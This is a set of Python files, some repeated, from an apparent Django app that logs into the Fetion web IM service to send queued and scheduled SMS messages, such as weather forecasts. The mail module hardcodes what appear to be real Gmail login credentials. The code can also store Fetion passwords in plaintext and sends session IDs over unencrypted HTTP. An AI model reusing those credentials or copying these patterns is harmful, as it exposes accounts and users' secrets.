self.logger.info(u"获取会话ID:%s"%webim_sessionid)
return 200
elif rc['rc'] == 312:
self.logger.warn(u"%s 验证码输入错误!"%phone)
return 312
elif rc['rc'] == 321:
self.logger.warn(u"%s 密码输入错误!"%phone)
return 321
else:
self.logger.warn(u"%s 未知错误!"%phone)
return 400
def get_persion_info(self):
POST = {
'ssid':self.data['webim_sessionid']
}
req = urllib2.Request(u"http://webim.feixin.10086.cn/WebIM/GetPersonalInfo.aspx?Version=0", urllib.urlencode(POST))
resp = urllib2.urlopen(req)
if resp.getcode()!=200:
return json.loads({})
data = json.loads(resp.read())
self.logger.info(data)
if data and data['rc'] == 200:
rv = data['rv']
self.logger.info(u"获取用户信息正常!%s"%rv)
return rv
else:
self.logger.error(u"获取用户信息失败!")
return json.loads({})
def send_msg(self,to,msg,session_id):
u'''发送短信
'''
HEAD = {
'Host':'webim.feixin.10086.cn',
'Referer':'https://webim.feixin.10086.cn/login.aspx',
'Content-Type':'application/x-www-form-urlencoded; charset=UTF-8'
}
POST = {
"Message":msg.encode('utf-8'),
"Receivers":to,
"UserName":"1045701458",
"ssid":session_id
}
req = urllib2.Request(u"http://webim.feixin.10086.cn/content/WebIM/SendSMS.aspx?Version=9", urllib.urlencode(POST) ,HEAD)
resp = urllib2.urlopen(req)
#返回信息
rc = json.loads(resp.read())
if rc['rc'] == 200:
#发送成功
self.logger.info(u"发给[%s]发送成功!"%to)
return True
return False
def get_vcode_img(self,down_dir_path=DOWNLOAD_ABST_DIR):
u'''获取图片验证码
'''
u = urllib2.urlopen("https://webim.feixin.10086.cn/WebIM/GetPicCode.aspx?Type=ccpsession")
#读取cookie
if u.getcode()==200:
#先读取头信息
header = u.info()
#读取cookie
cookie = header['set-cookie'].split(';')[0]
self.data['ccpsession'] = cookie
#下载图片
if os.path.isdir(r'%s/%s'%(PRJ_PATH,down_dir_path)) == False:
os.makedirs(r'%s/%s'%(PRJ_PATH,down_dir_path))
file_path = r'%s/vcode_%s.jpeg'%(down_dir_path,"".join(random.sample(['1','2','3','4','5','6','7','8','9','0'], 5)))
download_file_path = r'%s/%s'%(PRJ_PATH,file_path)
downloaded_image = file(download_file_path.encode('utf-8'), "wb")
try:
while True:
buf = u.read(65536)
if len(buf) == 0:
break
downloaded_image.write(buf)
downloaded_image.close()
u.close()
self.logger.debug('download webim vcode image success')
return "/"+file_path
except:
self.logger.debug('download webim vcode image failture')
#返回图片路径
return "/"+file_path
def get_contact_list(self):
u'''获取用户联系人列表
'''
POST = {
'ssid':self.data['webim_sessionid']
}
req = urllib2.Request(u"http://webim.feixin.10086.cn/WebIM/GetContactList.aspx?Version=1",urllib.urlencode(POST))
resp = urllib2.urlopen(req)
if resp.getcode()!=200:
return
data = json.loads(resp.read())
if data and data['rc'] == 200:
rv = data['rv']
self.logger.info(u"获取联系人列表成功!%s"%rv)
return rv
else:
self.logger.info(u"获取联系人列表失败!")
resp.close()
def start_thread(self):
u'''启动辅助线程
'''
#1. 开启心跳线程,保持会话...
h_thread = FetionHeartThread(self.logger,self.data)
h_thread.start()
#2. 轮循短信队列
q_thread = FetionQueueThread(self.logger,self.data)
q_thread.start()
#3. 开启任务线程,定时执行任务
t_thread = FetionTaskThread(self.logger,self.data)
t_thread.start()
class FetionTaskThread(threading.Thread):
u'''飞信任务线程
负责定时把Task的任务放入短信队列里
'''
def __init__(self,logger,data):
threading.Thread.__init__(self)
self.logger = logger
self.phone = data['phone']
def run(self):
run = True
while run:
time.sleep(59)#略大约55秒,防止1分钟内存在2次触发
self.logger.debug(u'轮循task......')
list = TaskCron.objects.filter(phone=self.phone)
for task in list:
cron = task.cron
if self.__check(cron):
self.logger.debug(u"cron[%s]符合条件......"%cron)
SMSQueue.addQueue(self.phone,task)
def __check(self,cron):
u'''检测cron是否可以运行
'''
return cron_check(datetime.datetime.now(), cron)
class FetionQueueThread(threading.Thread):
u'''短信队列线程
'''
def __init__(self,logger,data,error_max=5):
threading.Thread.__init__(self)
self.logger = logger
self.phone = data['phone']
self.webim_sessionid = data['webim_sessionid']
self.webim = FetionWebIM(logger,data)
self.error_count = 0#记录发送错误数
self.error_max = error_max
def run(self):
run = True
while run:
time.sleep(10)#我就不信10秒还不能登录
run = self.__roll_queue()#轮循队列
if not run:
FetionStatus.update_status(self.phone)
def __roll_queue(self):
u'''轮循队列
'''
status = FetionStatus.objects.filter(phone=self.phone)
#已经下线.停止线程
if not status or status[0].status == FETION_STATUS_ENUM[1][0]:
self.logger.debug(u"飞信[%s]下线,中止短信轮循......"%self.phone)
return False
self.logger.debug(u'轮循短信队列......')
queues = SMSQueue.objects.filter(phone=self.phone)#只负责自己的
if queues and len(queues)>0:
for q in queues:
receiver = q.receiver
msg = q.msg
try:
flag = self.webim.send_msg(receiver,msg, self.webim_sessionid)
if flag:
q.delete()#完成删除
self.logger.info(u'发送短信成功 to=%s'%receiver)
self.error_count = 0
else:
self.logger.error(u'发送短信失败! to=%s'%receiver)
self.error_count += 1
except:
self.logger.error(u'发送短信失败! to=%s'%receiver)
self.error_count += 1
#判断下
if self.error_max >= self.error_count:
return True
return False
class FetionHeartThread(threading.Thread):
u'''保持飞信年轻健康的心跳
'''
def __init__(self,logger,data):
threading.Thread.__init__(self)
self.logger = logger
self.phone = data['phone']
self.webim_sessionid = data['webim_sessionid']
def run(self):
run = True
index = 0
while run:
run = self.__jump(index)#心跳
index = index + 1
time.sleep(30)
self.logger.error(u"当前[%s]心跳已停止"%self.phone)
def __jump(self,index=0):
u'''一次心跳
'''
POST = {
'ssid':self.webim_sessionid
}
req = urllib2.Request(u"http://webim.feixin.10086.cn/WebIM/GetConnect.aspx?Version=%s"%index,urllib.urlencode(POST))
resp = urllib2.urlopen(req)
data = json.loads(resp.read())
self.logger.debug(u"心跳线程:%s"%data)
#出状况了
if resp.getcode()!=200:
return False
if data['rc'] == 200:
self.logger.debug(data)
for d in data['rv']:
if d['DataType'] == 4:
#中断线程
self.logger.error(u"别处用户登录!心跳停止")
FetionStatus.update_status(self.phone)
return False
resp.close()
#设计有点问题
return True
| Python |
#!/usr/bin/env python
# --*-- encoding:utf-8 --*--
from django.db import models
import logging
logger = logging.getLogger('fetion')
FETION_STATUS_ENUM = (
("ONLINE",u"正常"),
("OFF",u"关闭"),
)
class FetionStatus(models.Model):
u'''
维护飞信程序状态
'''
phone = models.CharField(u'手机号码(飞信登录账户)',max_length=50)
uid = models.CharField(u'本机手机ID',max_length=50,blank=True, null=True)
password = models.CharField(u'飞信密码',max_length=50,blank=True, null=True)#个人专用
security = models.CharField(u'安全码',max_length=50) #不会记录飞信密码,但登录成功后,会给用户一个安全码,以便随时查询飞信状态
status = models.CharField(u'飞信状态',max_length=20,choices=FETION_STATUS_ENUM)
login_ip = models.CharField(u'登录IP',max_length=20,blank=True, null=True)
login_time = models.DateTimeField(u'登录时间',blank=True, null=True,auto_now_add=True)
fail_time = models.DateTimeField(u'失效时间',blank=True, null=True,auto_now_add=True)
remark = models.TextField(u'备注',blank=True, null=True)
@classmethod
def update_status(cls,phone,status=FETION_STATUS_ENUM[1][0]):
u'''更新状态
'''
logger.info(u'[%s]改变状态:%s'%(phone,status))
FetionStatus.objects.filter(phone=phone).update(status=status)
class SMSQueue(models.Model):
u'''短信队列
'''
phone = models.CharField(u'手机号码(飞信登录账户)',max_length=20)
msg = models.CharField(u'消息',max_length=350)
receiver = models.CharField(u'接收人fetion id',max_length=1024)
add_time = models.DateTimeField(u'生成时间',blank=True, null=True,auto_now_add=True)
class Meta:
ordering = ['-add_time']
@classmethod
def addQueue(cls,phone,task):
queue = SMSQueue()
queue.phone = phone
queue.receiver = task.receiver
queue.msg = task.get_msg()
queue.save()
TASK_ENUM = (
('weather',u'天气预报服务'),
('other',u'其他'),
)
from fetion.task import weather,CITY_LIST
class TaskCron(models.Model):
u'''定时任务
'''
phone = models.CharField(u'手机号码(飞信登录账户)',max_length=20)
cron = models.CharField(u'定时表达式',max_length=20)#简单的cron 只包含 [时 分]
receiver = models.CharField(u'接收人fetion id',max_length=1024)
task_type = models.CharField(u'定时任务类型',max_length=20,choices=TASK_ENUM)
text = models.TextField(u'辅助短信')
def get_msg(self):
if self.task_type == TASK_ENUM[0][0]:
return weather(CITY_LIST[0][0])#默认嘉兴天气
else:
return self.text
| Python |
#!/usr/bin/env python
# --*-- encoding:utf-8 --*--
'''
Created on 2011-12-31
@author: fredzhu.com
'''
u'''
程序基于https://webim.feixin.10086.cn/login.aspx发送消息.不记录密码
'''
from django.shortcuts import render_to_response
from django.template import RequestContext
from django.http import HttpResponse,HttpResponseRedirect
from django.utils import simplejson as json
from django.conf import settings
from fetion.models import FetionStatus,SMSQueue,TaskCron
from fetion.models import FETION_STATUS_ENUM,TASK_ENUM
from fetion.webim import FetionWebIM
from fetion.mail import send_mail
import xmlrpclib
import logging,random
logger = logging.getLogger('fetion')
proxy = xmlrpclib.ServerProxy("http://localhost:%s/"%settings.RPC_PORT, allow_none=True)
#------------内部方法--------------
def auth(fn):
def check(*args):
request = args[0]
phone = request.session.get('phone',None)
#没登录
if not phone:
result = {"statusCode":301,"message":u"请先登录","navTabId":"","rel":"","callbackType":"","forwardUrl":""}
return HttpResponse(json.dumps(result))
return fn(*args)
return check
#----------------------------------
FETION_URL = u"https://webim.feixin.10086.cn/WebIM/Login.aspx"
def index(request):
return render_to_response('fetion/index.html',context_instance=RequestContext(request))
def logout(request):
u'''退出
'''
request.session.clear()
return HttpResponseRedirect('/')
def login(request):
u'''登录系统
'''
if request.method == 'POST':
result = {"navTabId":"queue_list","rel":"queue_list","callbackType":"","forwardUrl":""}
phone = request.POST.get('phone')
security = request.POST.get('security')
if phone and security:
if settings.SAVE_PASSWORD:
st = FetionStatus.objects.filter(phone=phone,password=security)
else:
st = FetionStatus.objects.filter(phone=phone,security=security)
if st and len(st)>0:
request.session['phone'] = phone
result.update({"statusCode":200,"message":u"操作成功"})
else:
result.update({"statusCode":300,"message":u"登录失败"})
return HttpResponse(json.dumps(result))
return render_to_response('fetion/login.html',context_instance=RequestContext(request))
def fetion_login(request):
u'''
引导用户完成飞信登录
'''
result = {"navTabId":"login","rel":"login","callbackType":"","forwardUrl":""}
if request.method == 'POST':
phone = request.POST.get('phone')
password = request.POST.get('password')
vcode = request.POST.get('vcode')
if phone and password and vcode:
#检查是否历史登陆用户
status = FetionStatus.objects.filter(phone=phone)
if status and len(status)>0 and status[0].status==FETION_STATUS_ENUM[0][0]:
logger.info(u"已经登录,跳转查询界面:%s"%phone)
result.update({"statusCode":300,"message":u"当前[%s]已经登录!"%phone})
return HttpResponse(json.dumps(result))
#登录......
code = proxy.login(phone, password, vcode)
if code == 200:
#启动线程
status = proxy.start_thread()
#获取飞信用户资料
persion = proxy.get_persion_info()
#更新状态
status = FetionStatus.objects.filter(phone=phone)
if status and len(status)>0:
fs = status[0]
fs.login_ip = request.META['REMOTE_ADDR']
fs.status = FETION_STATUS_ENUM[0][0]
fs.save()
else:
#第一次登陆
fs = FetionStatus()
fs.phone = phone
fs.uid = persion['uid']
fs.status = FETION_STATUS_ENUM[0][0]
fs.security = "".join(random.sample(['1','2','3','4','5','6','7','8','9','0','a','b','c','d','e','f','g','h','i','j','k','l','m'],15))
fs.login_ip = request.META['REMOTE_ADDR']
if settings.SAVE_PASSWORD:
fs.password = password
fs.save()
request.session['phone'] = phone
result.update({"statusCode":200,"message":u"操作成功",})
return HttpResponse(json.dumps(result))
elif code == 301:
result.update({"statusCode":200,"message":u"操作成功",})
return HttpResponse(json.dumps(result))
elif code == 312:
result.update({"statusCode":300,"message":u"验证码输入错误!",})
return HttpResponse(json.dumps(result))
elif code == 321:
result.update({"statusCode":300,"message":u"密码输入错误!",})
return HttpResponse(json.dumps(result))
else:
result.update({"statusCode":300,"message":u"未知错误!",})
return HttpResponse(json.dumps(result))
else:
pass
else:
img_url = proxy.get_vcode_img()#读验证码
return render_to_response('fetion/fetion_login.html',{'img_url':img_url},context_instance=RequestContext(request))
def fetion_query(request):
u'''
查询费心状态
'''
data = {}
if request.method == 'POST':
phone = request.POST.get('phone')
security = request.POST.get('security')
if phone and security:
st = FetionStatus.objects.filter(phone=phone,security=security)
if st and len(st)>0:
data.update({'status':st[0]})
else:
data.update({'error':u'未找到相关记录'})
else:
data.update({'error':u'请填写完整的字段'})
return render_to_response('fetion/fetion_query.html',data,context_instance=RequestContext(request))
@auth
def fetion_stop(request):
u'''下线
'''
pass
##########队列
@auth
def list_queue(request):
list = SMSQueue.objects.filter(phone=request.session['phone'])
status = FetionStatus.objects.filter(phone=request.session['phone'])[0]
datas = {'list':list,'status':status}
if status.status == 'ONLINE':
contact_list = proxy.get_contact_list()
datas.update({'contact_list':contact_list['bds']})
return render_to_response('fetion/queue_list.html',datas,context_instance=RequestContext(request))
@auth
def add_queue(request):
if request.method == "POST":
result = {"navTabId":"queue_list","rel":"queue_list","callbackType":"","forwardUrl":""}
receiver = request.POST.get('receiver',None)
msg = request.POST.get('msg',None)
phone = request.session.get('phone',None)
if receiver and msg:
queue = SMSQueue()
queue.phone = phone
queue.receiver = receiver
queue.msg = msg
queue.save()
result.update({"statusCode":200,"message":u"操作成功"})
return HttpResponse(json.dumps(result))
result.update({"statusCode":300,"message":u"操作失败"})
return HttpResponse(json.dumps(result))
@auth
def del_queue(request,id):
queue = SMSQueue.objects.get(pk=id)
if queue and queue.phone == request.session['phone']:
queue.delete()
result = {"statusCode":200,"message":u"操作成功","navTabId":"queue_list","rel":"queue_list","callbackType":"","forwardUrl":""}
return HttpResponse(json.dumps(result))
@auth
def list_task(request):
list = TaskCron.objects.filter(phone=request.session['phone'])
status = FetionStatus.objects.filter(phone=request.session['phone'])[0]
datas = {'list':list,'status':status,'tasks':TASK_ENUM}
if status.status == 'ONLINE':
contact_list = proxy.get_contact_list()
datas.update({'contact_list':contact_list['bds']})
return render_to_response('fetion/task_list.html',datas,context_instance=RequestContext(request))
@auth
def add_task(request):
if request.method == "POST":
result = {"navTabId":"task_list","rel":"task_list","callbackType":"","forwardUrl":""}
phone = request.session['phone']
cron = request.POST.get('cron',None)
receiver = request.POST.get('receiver',None)
task_type = request.POST.get('task_type',None)
text = request.POST.get('text',None)
print phone,cron,receiver,task_type
if phone and cron and receiver and task_type:
task = TaskCron()
task.phone = phone
task.cron = cron
task.receiver = receiver
task.task_type = task_type
task.text = text
task.save()
result.update({"statusCode":200,"message":u"操作成功"})
return HttpResponse(json.dumps(result))
result.update({"statusCode":300,"message":u"操作失败"})
return HttpResponse(json.dumps(result))
@auth
def del_task(request,id):
result = {"navTabId":"task_list","rel":"task_list","callbackType":"","forwardUrl":""}
task = TaskCron.objects.get(pk=id)
if task and task.phone == request.session['phone']:
task.delete()
result.update({"statusCode":200,"message":u"操作成功"})
return HttpResponse(json.dumps(result))
result.update({"statusCode":300,"message":u"操作失败"})
return HttpResponse(json.dumps(result))
| Python |
#!/usr/bin/env python
# --*-- encoding:utf-8 --*--
import smtplib
from email.MIMEMultipart import MIMEMultipart
from email.MIMEText import MIMEText
#设置服务器,用户名、口令以及邮箱的后缀
mail_host="smtp.gmail.com"
mail_user="ad@fengsage.com"
mail_pass="sd145914sd"
def send_mail(to, subject, text):
msg = MIMEMultipart()
msg['From'] = mail_user
msg['To'] = to
msg['Subject'] = subject
msg.attach(MIMEText(text))
mailServer = smtplib.SMTP("smtp.gmail.com", 587)
mailServer.ehlo()
mailServer.starttls()
mailServer.ehlo()
mailServer.login(mail_user, mail_pass)
mailServer.sendmail(mail_user, to, msg.as_string())
mailServer.close()
if __name__=="__main__":
send_mail("me@fengsage.com","111111","2")
| Python |
#!/usr/bin/env python
# --*-- encoding:utf-8 --*--
import urllib2,datetime,re
def cron_check(datetime,cron):
u'''cron表达式
语法:
m[1-24] s[0-59]
参数:
* 通配任意
'''
def _validate(c,s,type):
u'''验证下
'''
if c == "*":
return True
c = int(c)
s = int(s)
return {
's':lambda : (c==s and c>=0 and c<=12),
'm':lambda : (c==s and c>=0 and c<=59)
}[type]()
hour,minute = cron.split(" ")
return _validate(hour,datetime.hour,"s") and _validate(minute,datetime.minute,"m")
if __name__=="__main__":
print cron_check(datetime.datetime.now(),"09 06")
| Python |
#!/usr/bin/env python
# --*-- encoding:utf-8 --*--
import datetime
def cron_check(datetime,cron):
u'''cron表达式
语法:
d[1-12] D[1-31] m[1-24] s[0-59]
参数:
* 通配任意
'''
def _validate(c,s,type):
u'''验证下
'''
if c == "*":
return True
c = int(c)
s = int(s)
return {
'd':lambda : (c==s and c>=1 and c<=12),
'D':lambda : (c==s and c>=1 and c<=31),
's':lambda : (c==s and c>=0 and c<=23),
'm':lambda : (c==s and c>=0 and c<=59)
}[type]()
mouth,day,hour,minute = cron.split(" ")
return _validate(mouth,datetime.month,"d") & _validate(day,datetime.day,"D") & _validate(hour,datetime.hour,"s") & _validate(minute,datetime.minute,"m")
if __name__=="__main__":
print cron_check(datetime.datetime.now(),"1 13 15 *")
| Python |
#!/usr/bin/env python
# --*-- encoding:utf-8 --*--
from django.db import models
import logging
logger = logging.getLogger('fetion')
FETION_STATUS_ENUM = (
("ONLINE",u"正常"),
("OFF",u"关闭"),
)
class FetionStatus(models.Model):
u'''
维护飞信程序状态
'''
phone = models.CharField(u'手机号码(飞信登录账户)',max_length=50)
uid = models.CharField(u'本机手机ID',max_length=50,blank=True, null=True)
password = models.CharField(u'飞信密码',max_length=50,blank=True, null=True)#个人专用
security = models.CharField(u'安全码',max_length=50) #不会记录飞信密码,但登录成功后,会给用户一个安全码,以便随时查询飞信状态
status = models.CharField(u'飞信状态',max_length=20,choices=FETION_STATUS_ENUM)
login_ip = models.CharField(u'登录IP',max_length=20,blank=True, null=True)
login_time = models.DateTimeField(u'登录时间',blank=True, null=True,auto_now_add=True)
fail_time = models.DateTimeField(u'失效时间',blank=True, null=True,auto_now_add=True)
remark = models.TextField(u'备注',blank=True, null=True)
@classmethod
def update_status(cls,phone,status=FETION_STATUS_ENUM[1][0]):
u'''更新状态
'''
logger.info(u'[%s]改变状态:%s'%(phone,status))
FetionStatus.objects.filter(phone=phone).update(status=status)
class SMSQueue(models.Model):
u'''短信队列
'''
phone = models.CharField(u'手机号码(飞信登录账户)',max_length=20)
msg = models.CharField(u'消息',max_length=350)
receiver = models.CharField(u'接收人fetion id',max_length=1024)
add_time = models.DateTimeField(u'生成时间',blank=True, null=True,auto_now_add=True)
class Meta:
ordering = ['-add_time']
@classmethod
def addQueue(cls,phone,task):
queue = SMSQueue()
queue.phone = phone
queue.receiver = task.receiver
queue.msg = task.get_msg()
queue.save()
TASK_ENUM = (
('weather',u'天气预报服务'),
('other',u'其他'),
)
from fetion.task import weather,CITY_LIST
class TaskCron(models.Model):
u'''定时任务
'''
phone = models.CharField(u'手机号码(飞信登录账户)',max_length=20)
cron = models.CharField(u'定时表达式',max_length=20)#简单的cron 只包含 [时 分]
receiver = models.CharField(u'接收人fetion id',max_length=1024)
task_type = models.CharField(u'定时任务类型',max_length=20,choices=TASK_ENUM)
text = models.TextField(u'辅助短信')
def get_msg(self):
if self.task_type == TASK_ENUM[0][0]:
return weather(CITY_LIST[0][0])#默认嘉兴天气
else:
return self.text
| Python |
#!/usr/bin/env python
# --*-- encoding:utf-8 --*--
from django.conf.urls.defaults import patterns, url
urlpatterns = patterns('fetion.views',
url(r'^$', 'index'),
url(r'^login$','login'),
url(r'^logout$','logout'),
url(r'^fetion/login$', 'fetion_login'),
url(r'^fetion/query$', 'fetion_query'),
url(r'^fetion/error$', 'fetion_error'),
url(r'^fetion/stop$', 'fetion_stop'),
url(r'^queue/list$', 'list_queue'),
url(r'^queue/add$', 'add_queue'),
url(r'^queue/del/(\d+)$', 'del_queue'),
url(r'^task/list$', 'list_task'),
url(r'^task/add$', 'add_task'),
url(r'^task/del/(\d+)$', 'del_task'),
)
from fetion.models import FetionStatus,FETION_STATUS_ENUM
print u'init fetion status'
FetionStatus.objects.all().update(status=FETION_STATUS_ENUM[1][0]) | Python |
#!/usr/bin/env python
# --*-- encoding:utf-8 --*--
CITY_LIST = (
('101210301',u'嘉兴'),
('101020100',u'上海')
)
def weather(city):
u'''天气预报
'''
import urllib2,json
API = u'http://m.weather.com.cn/data/%s.html'%city
resp = urllib2.urlopen(API)
if resp.getcode()!=200:
return
rc = json.loads(resp.read())
info = rc['weatherinfo']
msg = u'%s,今天天气%s,温度%s,明天天气%s,温度%s'%(info['city'],info['weather1'],info['temp1'],info['weather2'],info['temp2'])
return msg
if __name__=="__main__":
print weather(CITY_LIST[0][0])
| Python |
#!/usr/bin/env python
# --*-- encoding:utf-8 --*--
'''
Created on 2011-12-31
@author: fredzhu.com
'''
import threading,urllib,urllib2,time,datetime
import os,random,sys
from django.conf import settings
reload(sys)
if not settings.DEBUG:
sys.setdefaultencoding('utf8')
try:
import json
except:
import simplejson as json
from fetion.cron import cron_check
from fetion.models import FetionStatus,FETION_STATUS_ENUM,SMSQueue,TaskCron
PRJ_PATH = os.path.abspath('.')
DOWNLOAD_ABST_DIR = u'static/code_imgs/%s'%(time.strftime('%Y/%m', time.localtime(time.time())))
class FetionWebIM():
u'''飞信IM协议
'''
def __init__(self,logger,data={}):
self.logger = logger
self.data = data
def login(self,phone,password,vcode):
u'''登陆飞信
'''
POST = {
"UserName":phone,
"Pwd":password,
"OnlineStatus":0,
"Ccp":vcode
}
HEAD = {
'Host':'webim.feixin.10086.cn',
'Cookie':self.data['ccpsession'],
'Referer':'https://webim.feixin.10086.cn/login.aspx',
'Content-Type':'application/x-www-form-urlencoded; charset=UTF-8'
}
req = urllib2.Request(u"https://webim.feixin.10086.cn/WebIM/Login.aspx", urllib.urlencode(POST), HEAD)
resp = urllib2.urlopen(req)
if resp.getcode()!=200:
return
rc = json.loads(resp.read())
if rc['rc'] == 200:
self.logger.info(u"%s 登录成功!"%phone)
#登录成功,读取cookie信息
info = resp.info()
webim_sessionid = info['set-cookie'].split('webim_sessionid=')[1].split(';')[0]
self.data['webim_sessionid'] = webim_sessionid
self.data['phone'] = phone
self.logger.info(u"获取会话ID:%s"%webim_sessionid)
return 200
elif rc['rc'] == 312:
self.logger.warn(u"%s 验证码输入错误!"%phone)
return 312
elif rc['rc'] == 321:
self.logger.warn(u"%s 密码输入错误!"%phone)
return 321
else:
self.logger.warn(u"%s 未知错误!"%phone)
return 400
def get_persion_info(self):
POST = {
'ssid':self.data['webim_sessionid']
}
req = urllib2.Request(u"http://webim.feixin.10086.cn/WebIM/GetPersonalInfo.aspx?Version=0", urllib.urlencode(POST))
resp = urllib2.urlopen(req)
if resp.getcode()!=200:
return json.loads({})
data = json.loads(resp.read())
self.logger.info(data)
if data and data['rc'] == 200:
rv = data['rv']
self.logger.info(u"获取用户信息正常!%s"%rv)
return rv
else:
self.logger.error(u"获取用户信息失败!")
return json.loads({})
def send_msg(self,to,msg,session_id):
u'''发送短信
'''
HEAD = {
'Host':'webim.feixin.10086.cn',
'Referer':'https://webim.feixin.10086.cn/login.aspx',
'Content-Type':'application/x-www-form-urlencoded; charset=UTF-8'
}
POST = {
"Message":msg.encode('utf-8'),
"Receivers":to,
"UserName":"1045701458",
"ssid":session_id
}
req = urllib2.Request(u"http://webim.feixin.10086.cn/content/WebIM/SendSMS.aspx?Version=9", urllib.urlencode(POST) ,HEAD)
resp = urllib2.urlopen(req)
#返回信息
rc = json.loads(resp.read())
if rc['rc'] == 200:
#发送成功
self.logger.info(u"发给[%s]发送成功!"%to)
return True
return False
def get_vcode_img(self,down_dir_path=DOWNLOAD_ABST_DIR):
u'''获取图片验证码
'''
u = urllib2.urlopen("https://webim.feixin.10086.cn/WebIM/GetPicCode.aspx?Type=ccpsession")
#读取cookie
if u.getcode()==200:
#先读取头信息
header = u.info()
#读取cookie
cookie = header['set-cookie'].split(';')[0]
self.data['ccpsession'] = cookie
#下载图片
if os.path.isdir(r'%s/%s'%(PRJ_PATH,down_dir_path)) == False:
os.makedirs(r'%s/%s'%(PRJ_PATH,down_dir_path))
file_path = r'%s/vcode_%s.jpeg'%(down_dir_path,"".join(random.sample(['1','2','3','4','5','6','7','8','9','0'], 5)))
download_file_path = r'%s/%s'%(PRJ_PATH,file_path)
downloaded_image = file(download_file_path.encode('utf-8'), "wb")
try:
while True:
buf = u.read(65536)
if len(buf) == 0:
break
downloaded_image.write(buf)
downloaded_image.close()
u.close()
self.logger.debug('download webim vcode image success')
return "/"+file_path
except:
self.logger.debug('download webim vcode image failture')
#返回图片路径
return "/"+file_path
def get_contact_list(self):
u'''获取用户联系人列表
'''
POST = {
'ssid':self.data['webim_sessionid']
}
req = urllib2.Request(u"http://webim.feixin.10086.cn/WebIM/GetContactList.aspx?Version=1",urllib.urlencode(POST))
resp = urllib2.urlopen(req)
if resp.getcode()!=200:
return
data = json.loads(resp.read())
if data and data['rc'] == 200:
rv = data['rv']
self.logger.info(u"获取联系人列表成功!%s"%rv)
return rv
else:
self.logger.info(u"获取联系人列表失败!")
resp.close()
def start_thread(self):
u'''启动辅助线程
'''
#1. 开启心跳线程,保持会话...
h_thread = FetionHeartThread(self.logger,self.data)
h_thread.start()
#2. 轮循短信队列
q_thread = FetionQueueThread(self.logger,self.data)
q_thread.start()
#3. 开启任务线程,定时执行任务
t_thread = FetionTaskThread(self.logger,self.data)
t_thread.start()
class FetionTaskThread(threading.Thread):
u'''飞信任务线程
负责定时把Task的任务放入短信队列里
'''
def __init__(self,logger,data):
threading.Thread.__init__(self)
self.logger = logger
self.phone = data['phone']
def run(self):
run = True
while run:
time.sleep(59)#略大约55秒,防止1分钟内存在2次触发
self.logger.debug(u'轮循task......')
list = TaskCron.objects.filter(phone=self.phone)
for task in list:
cron = task.cron
if self.__check(cron):
self.logger.debug(u"cron[%s]符合条件......"%cron)
SMSQueue.addQueue(self.phone,task)
def __check(self,cron):
u'''检测cron是否可以运行
'''
return cron_check(datetime.datetime.now(), cron)
class FetionQueueThread(threading.Thread):
u'''短信队列线程
'''
def __init__(self,logger,data,error_max=5):
threading.Thread.__init__(self)
self.logger = logger
self.phone = data['phone']
self.webim_sessionid = data['webim_sessionid']
self.webim = FetionWebIM(logger,data)
self.error_count = 0#记录发送错误数
self.error_max = error_max
def run(self):
run = True
while run:
time.sleep(10)#我就不信10秒还不能登录
run = self.__roll_queue()#轮循队列
if not run:
FetionStatus.update_status(self.phone)
def __roll_queue(self):
u'''轮循队列
'''
status = FetionStatus.objects.filter(phone=self.phone)
#已经下线.停止线程
if not status or status[0].status == FETION_STATUS_ENUM[1][0]:
self.logger.debug(u"飞信[%s]下线,中止短信轮循......"%self.phone)
return False
self.logger.debug(u'轮循短信队列......')
queues = SMSQueue.objects.filter(phone=self.phone)#只负责自己的
if queues and len(queues)>0:
for q in queues:
receiver = q.receiver
msg = q.msg
try:
flag = self.webim.send_msg(receiver,msg, self.webim_sessionid)
if flag:
q.delete()#完成删除
self.logger.info(u'发送短信成功 to=%s'%receiver)
self.error_count = 0
else:
self.logger.error(u'发送短信失败! to=%s'%receiver)
self.error_count += 1
except:
self.logger.error(u'发送短信失败! to=%s'%receiver)
self.error_count += 1
#判断下
if self.error_max >= self.error_count:
return True
return False
class FetionHeartThread(threading.Thread):
u'''保持飞信年轻健康的心跳
'''
def __init__(self,logger,data):
threading.Thread.__init__(self)
self.logger = logger
self.phone = data['phone']
self.webim_sessionid = data['webim_sessionid']
def run(self):
run = True
index = 0
while run:
run = self.__jump(index)#心跳
index = index + 1
time.sleep(30)
self.logger.error(u"当前[%s]心跳已停止"%self.phone)
def __jump(self,index=0):
u'''一次心跳
'''
POST = {
'ssid':self.webim_sessionid
}
req = urllib2.Request(u"http://webim.feixin.10086.cn/WebIM/GetConnect.aspx?Version=%s"%index,urllib.urlencode(POST))
resp = urllib2.urlopen(req)
data = json.loads(resp.read())
self.logger.debug(u"心跳线程:%s"%data)
#出状况了
if resp.getcode()!=200:
return False
if data['rc'] == 200:
self.logger.debug(data)
for d in data['rv']:
if d['DataType'] == 4:
#中断线程
self.logger.error(u"别处用户登录!心跳停止")
FetionStatus.update_status(self.phone)
return False
resp.close()
#设计有点问题
return True
| Python |
Subsets and Splits
SQL Console for ajibawa-2023/Python-Code-Large
Provides a useful breakdown of language distribution in the training data, showing which languages have the most samples and helping identify potential imbalances across different language groups.